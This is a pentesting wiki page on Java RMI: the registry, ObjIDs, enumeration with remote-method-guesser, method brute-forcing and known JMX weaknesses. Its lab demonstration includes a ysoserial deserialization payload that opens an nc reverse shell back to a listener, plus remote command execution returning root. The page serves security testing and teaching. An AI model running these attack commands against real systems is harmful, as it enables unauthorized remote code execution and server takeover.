1099-pentesting-java-rmi.md (18036B)
1 --- 2 title: "1099 (legacy 1098/1050) - Pentesting Java RMI and RMI-IIOP" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/1099-pentesting-java-rmi.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/1099-pentesting-java-rmi.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 1099 (legacy 1098/1050) - Pentesting Java RMI and RMI-IIOP 14 15 ## Basic Information 16 17 _Java Remote Method Invocation_ (_Java RMI_) is an object-oriented RPC mechanism that lets code in one Java Virtual Machine invoke methods on a remote object in another JVM. A short introduction from an offensive perspective appears in [this Black Hat talk](https://youtu.be/t_aw1mDNhzI?t=202).<sup>[[6]](#references)</sup> 18 19 The RMI registry defaults to TCP **1099**. TCP 1098 was the historical default for `rmid` (RMI Activation), and 1050 is commonly associated with legacy CORBA naming/RMI-IIOP deployments. The other ports below are application conventions frequently worth checking, not Java RMI protocol defaults. RMI-IIOP was removed from Java SE 11, and RMI Activation/`rmid` was removed from JDK 17, though older runtimes and third-party application servers remain in scope.<sup>[[7]](#references)[[8]](#references)[[9]](#references)</sup> 20 21 **Commonly observed ports:** 1090, 1098, 1099, 1199, 4443-4446, 8999-9010, and 9999. 22 23 ```text 24 PORT STATE SERVICE VERSION 25 1090/tcp open ssl/java-rmi Java RMI 26 9010/tcp open java-rmi Java RMI 27 37471/tcp open java-rmi Java RMI 28 40259/tcp open ssl/java-rmi Java RMI 29 ``` 30 31 The RMI registry is commonly bound to a known port. Application objects may share a configured server port or use an ephemeral port when exported with port `0`, as in the scan output above. On legacy Java versions, the Activation System may also be exposed on its configured port. 32 33 Nmap may have trouble identifying TLS-protected RMI services. Investigate an unknown TLS service on a common RMI/application-management port with protocol-aware tooling. 34 35 ## RMI Components 36 37 To put it in simple terms, _Java RMI_ allows a developer to make a _Java object_ available on the network. This opens up a _TCP_ port where clients can connect and call methods on the corresponding object. Despite this sounds simple, there are several challenges that _Java RMI_ needs to solve: 38 39 1. To dispatch a method call, an RMI client needs a remote reference containing the endpoint and object identifier, plus compatible remote-interface/stub information. An `ObjID` identifies an exported object within an RMI runtime. Generated IDs are unique for their host/time scope but are not necessarily cryptographically random; registry, DGC, and legacy activator objects use well-known IDs.<sup>[[10]](#references)</sup> 40 2. Remote clients may allocate resources on the server by invoking methods on the exposed object. The _Java virtual machine_ needs to track which of these resources are still in use and which of them can be garbage collected. 41 42 The first challenge is addressed by the _RMI registry_, a bootstrap naming service. The registry itself is an RMI service with a known interface and well-known `ObjID`, so a client can construct its initial registry reference from a host and port.<sup>[[7]](#references)</sup> 43 44 Developers commonly bind exported objects to an RMI registry. The registry associates a human-readable bound name with a serialized remote reference/stub. That reference contains the transport endpoint and remote-object identity needed for calls, while the client still needs compatible interface/stub classes unless another mechanism supplies them. This is a bootstrap analogy to DNS, not a direct protocol equivalent. The following listing shows a small example: 45 46 ```java 47 import java.rmi.registry.Registry; 48 import java.rmi.registry.LocateRegistry; 49 import lab.example.rmi.interfaces.RemoteService; 50 51 public class ExampleClient { 52 53 private static final String remoteHost = "172.17.0.2"; 54 private static final String boundName = "remote-service"; 55 56 public static void main(String[] args) 57 { 58 try { 59 Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry 60 RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name 61 String response = ref.remoteMethod(); // Call a remote method 62 63 } catch( Exception e) { 64 e.printStackTrace(); 65 } 66 } 67 } 68 ``` 69 70 The second challenge is handled by the _Distributed Garbage Collector_ (_DGC_), an RMI service with a well-known `ObjID` on RMI server endpoints. Clients send `dirty` calls to obtain or renew leases for remote references and `clean` calls when references are no longer held; the server can then determine when an exported object is no longer remotely referenced.<sup>[[6]](#references)</sup> 71 72 Historically, the three well-known components were: 73 74 1. The _RMI Registry_ (`ObjID = 0`) 75 2. The _Activation System_ (`ObjID = 1`, removed from JDK 17) 76 3. The _Distributed Garbage Collector_ (`ObjID = 2`) 77 78 These standard components have been attack vectors in outdated Java versions because their interfaces and wire operations are predictable. Custom RMI services require a compatible method hash/signature for a meaningful invocation; attackers may recover it from client code or guess it from response differences, as described below. 79 80 ## RMI Enumeration 81 82 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) is a _Java RMI_ vulnerability scanner that is capable of identifying common _RMI vulnerabilities_ automatically. Whenever you identify an _RMI_ endpoint, you should give it a try:<sup>[[2]](#references)</sup> 83 84 ```text 85 $ rmg enum 172.17.0.2 9010 86 [+] RMI registry bound names: 87 [+] 88 [+] - plain-server2 89 [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) 90 [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534] 91 [+] - legacy-service 92 [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) 93 [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206] 94 [+] - plain-server 95 [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) 96 [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] 97 [+] 98 [+] RMI server codebase enumeration: 99 [+] 100 [+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/) 101 [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub 102 [+] --> de.qtc.rmg.server.interfaces.IPlainServer 103 [+] 104 [+] RMI server String unmarshalling enumeration: 105 [+] 106 [+] - Caught ClassNotFoundException during lookup call. 107 [+] --> The type java.lang.String is unmarshalled via readObject(). 108 [+] Configuration Status: Outdated 109 [+] 110 [+] RMI server useCodebaseOnly enumeration: 111 [+] 112 [+] - Caught MalformedURLException during lookup call. 113 [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). 114 [+] Configuration Status: Non Default 115 [+] 116 [+] RMI registry localhost bypass enumeration (CVE-2019-2684): 117 [+] 118 [+] - Caught NotBoundException during unbind call (unbind was accepeted). 119 [+] Vulnerability Status: Vulnerable 120 [+] 121 [+] RMI Security Manager enumeration: 122 [+] 123 [+] - Security Manager rejected access to the class loader. 124 [+] --> The server does use a Security Manager. 125 [+] Configuration Status: Current Default 126 [+] 127 [+] RMI server JEP290 enumeration: 128 [+] 129 [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). 130 [+] Vulnerability Status: Non Vulnerable 131 [+] 132 [+] RMI registry JEP290 bypass enmeration: 133 [+] 134 [+] - Caught IllegalArgumentException after sending An Trinh gadget. 135 [+] Vulnerability Status: Vulnerable 136 [+] 137 [+] RMI ActivationSystem enumeration: 138 [+] 139 [+] - Caught IllegalArgumentException during activate call (activator is present). 140 [+] --> Deserialization allowed - Vulnerability Status: Vulnerable 141 [+] --> Client codebase enabled - Configuration Status: Non Default 142 ``` 143 144 The project's [enumeration documentation](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) explains each probe. Tool labels are hypotheses based on response behavior; verify a reported vulnerability safely against the exact runtime and configuration.<sup>[[5]](#references)</sup> 145 146 For generated `ObjID` values, the embedded `UID` timestamp can estimate when that identifier/address space was created. It may correlate with service start or object export, but it is not a guaranteed JVM uptime measurement: 147 148 ```text 149 $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' 150 [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] 151 [+] 152 [+] ObjNum: -4004948013687638236 153 [+] UID: 154 [+] Unique: 1442798173 155 [+] Time: 1640761503828 (Dec 29,2021 08:05) 156 [+] Count: -32760 157 ``` 158 159 ## Bruteforcing Remote Methods 160 161 Even when enumeration finds no known vulnerability, custom RMI services may expose dangerous methods or deserialize attacker-controlled arguments. Modern JDKs include built-in filters for registry/DGC paths and support process-wide and per-export deserialization filters, but application objects are safe only when an effective filter and narrow parameter types are actually configured.<sup>[[11]](#references)</sup> 162 163 Java RMI does not provide a general remote-reflection operation for enumerating an object's methods. It is nevertheless possible to brute-force candidate method hashes/signatures with tools such as [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) or [rmiscout](https://github.com/BishopFox/rmiscout):<sup>[[2]](#references)[[4]](#references)</sup> 164 165 ```text 166 $ rmg guess 172.17.0.2 9010 167 [+] Reading method candidates from internal wordlist rmg.txt 168 [+] 752 methods were successfully parsed. 169 [+] Reading method candidates from internal wordlist rmiscout.txt 170 [+] 2550 methods were successfully parsed. 171 [+] 172 [+] Starting Method Guessing on 3281 method signature(s). 173 [+] 174 [+] MethodGuesser is running: 175 [+] -------------------------------- 176 [+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists! 177 [+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists! 178 [+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists! 179 [+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists! 180 [+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists! 181 [+] [6562 / 6562] [#####################################] 100% 182 [+] done. 183 [+] 184 [+] Listing successfully guessed methods: 185 [+] 186 [+] - plain-server2 == plain-server 187 [+] --> String execute(String dummy) 188 [+] --> String system(String dummy, String[] dummy2) 189 [+] - legacy-service 190 [+] --> void logMessage(int dummy1, String dummy2) 191 [+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) 192 [+] --> String login(java.util.HashMap dummy1) 193 ``` 194 195 In an authorized lab, an identified method can be called like this. The command executes the remote application's own `execute` method; `rmg` does not make every discovered method a command-execution primitive: 196 197 ```text 198 $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar 199 [+] uid=0(root) gid=0(root) groups=0(root) 200 ``` 201 202 If a non-primitive parameter is deserialized without an effective filter and a compatible gadget chain exists on the server classpath, test deserialization with a harmless canary before any command payload. The following is the original lab demonstration: 203 204 ```text 205 $ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)" 206 [+] Creating ysoserial payload... done. 207 [+] 208 [+] Attempting deserialization attack on RMI endpoint... 209 [+] 210 [+] Using non primitive argument type java.lang.String on position 0 211 [+] Specified method signature is String execute(String dummy) 212 [+] 213 [+] Caught ClassNotFoundException during deserialization attack. 214 [+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea. 215 [+] Deserialization attack probably worked :) 216 217 $ nc -vlp 4444 218 Ncat: Version 7.92 ( https://nmap.org/ncat ) 219 Ncat: Listening on :::4444 220 Ncat: Listening on 0.0.0.0:4444 221 Ncat: Connection from 172.17.0.2. 222 Ncat: Connection from 172.17.0.2:45479. 223 id 224 uid=0(root) gid=0(root) groups=0(root) 225 ``` 226 227 More information can be found in these articles.<sup>[[1]](#references)[[3]](#references)[[4]](#references)</sup> 228 229 Apart from guessing, you should also look in search engines or _GitHub_ for the interface or even the implementation of an encountered _RMI_ service. The _bound name_ and the name of the implemented class or interface can be helpful here. 230 231 ## Known Interfaces 232 233 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) marks classes or interfaces as `known` if they are listed in the tool's internal database of known _RMI services_. In these cases you can use the `known` action to get more information on the corresponding _RMI service_:<sup>[[2]](#references)</sup> 234 235 ```text 236 $ rmg enum 172.17.0.2 1090 | head -n 5 237 [+] RMI registry bound names: 238 [+] 239 [+] - jmxrmi 240 [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) 241 [+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585] 242 243 $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub 244 [+] Name: 245 [+] JMX Server 246 [+] 247 [+] Class Name: 248 [+] - javax.management.remote.rmi.RMIServerImpl_Stub 249 [+] - javax.management.remote.rmi.RMIServer 250 [+] 251 [+] Description: 252 [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. 253 [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient 254 [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return 255 [+] value (RMIConnection object) is another remote object that is when used to perform JMX related 256 [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. 257 [+] 258 [+] Remote Methods: 259 [+] - String getVersion() 260 [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) 261 [+] 262 [+] References: 263 [+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html) 264 [+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi) 265 [+] 266 [+] Vulnerabilities: 267 [+] 268 [+] ----------------------------------- 269 [+] Name: 270 [+] MLet 271 [+] 272 [+] Description: 273 [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load 274 [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean 275 [+] is therefore most of the time equivalent to remote code execution. 276 [+] 277 [+] References: 278 [+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) 279 [+] 280 [+] ----------------------------------- 281 [+] Name: 282 [+] Deserialization 283 [+] 284 [+] Description: 285 [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient 286 [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the 287 [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can 288 [+] establish a working JMX connection, you can also perform deserialization attacks. 289 [+] 290 [+] References: 291 [+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) 292 ``` 293 294 ## Shodan 295 296 - `port:1099 java` 297 298 ## Tools 299 300 - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)<sup>[[2]](#references)</sup> 301 - [rmiscout](https://github.com/BishopFox/rmiscout) 302 - [BaRMIe](https://github.com/NickstaDB/BaRMIe) 303 304 ## HackTricks Automatic Commands 305 306 ```text 307 Protocol_Name: Java RMI #Protocol Abbreviation if there is one. 308 Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. 309 Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out 310 311 Entry_1: 312 Name: Enumeration 313 Description: Perform basic enumeration of an RMI service 314 Command: rmg enum {IP} {PORT} 315 ``` 316 317 ## References 318 319 - [1] [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/) 320 - [2] [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 321 - [3] [Method Guessing - remote-method-guesser docs](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md) 322 - [4] [rmiscout](https://bishopfox.com/blog/rmiscout) 323 - [5] [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) 324 - [6] [Java Remote Method Invocation Specification](https://docs.oracle.com/en/java/javase/25/docs/specs/rmi/index.html) 325 - [7] [Java RMI `Registry` API and default port](https://docs.oracle.com/en/java/javase/25/docs/api/java.rmi/java/rmi/registry/Registry.html) 326 - [8] [JEP 320 – Removal of Java SE CORBA and RMI-IIOP](https://openjdk.org/jeps/320) 327 - [9] [JEP 407 – Removal of RMI Activation](https://openjdk.org/jeps/407) 328 - [10] [Java `ObjID` API and well-known object identifiers](https://docs.oracle.com/en/java/javase/17/docs/api/java.rmi/java/rmi/server/ObjID.html) 329 - [11] [JEP 290 – Filter Incoming Serialization Data](https://openjdk.org/jeps/290)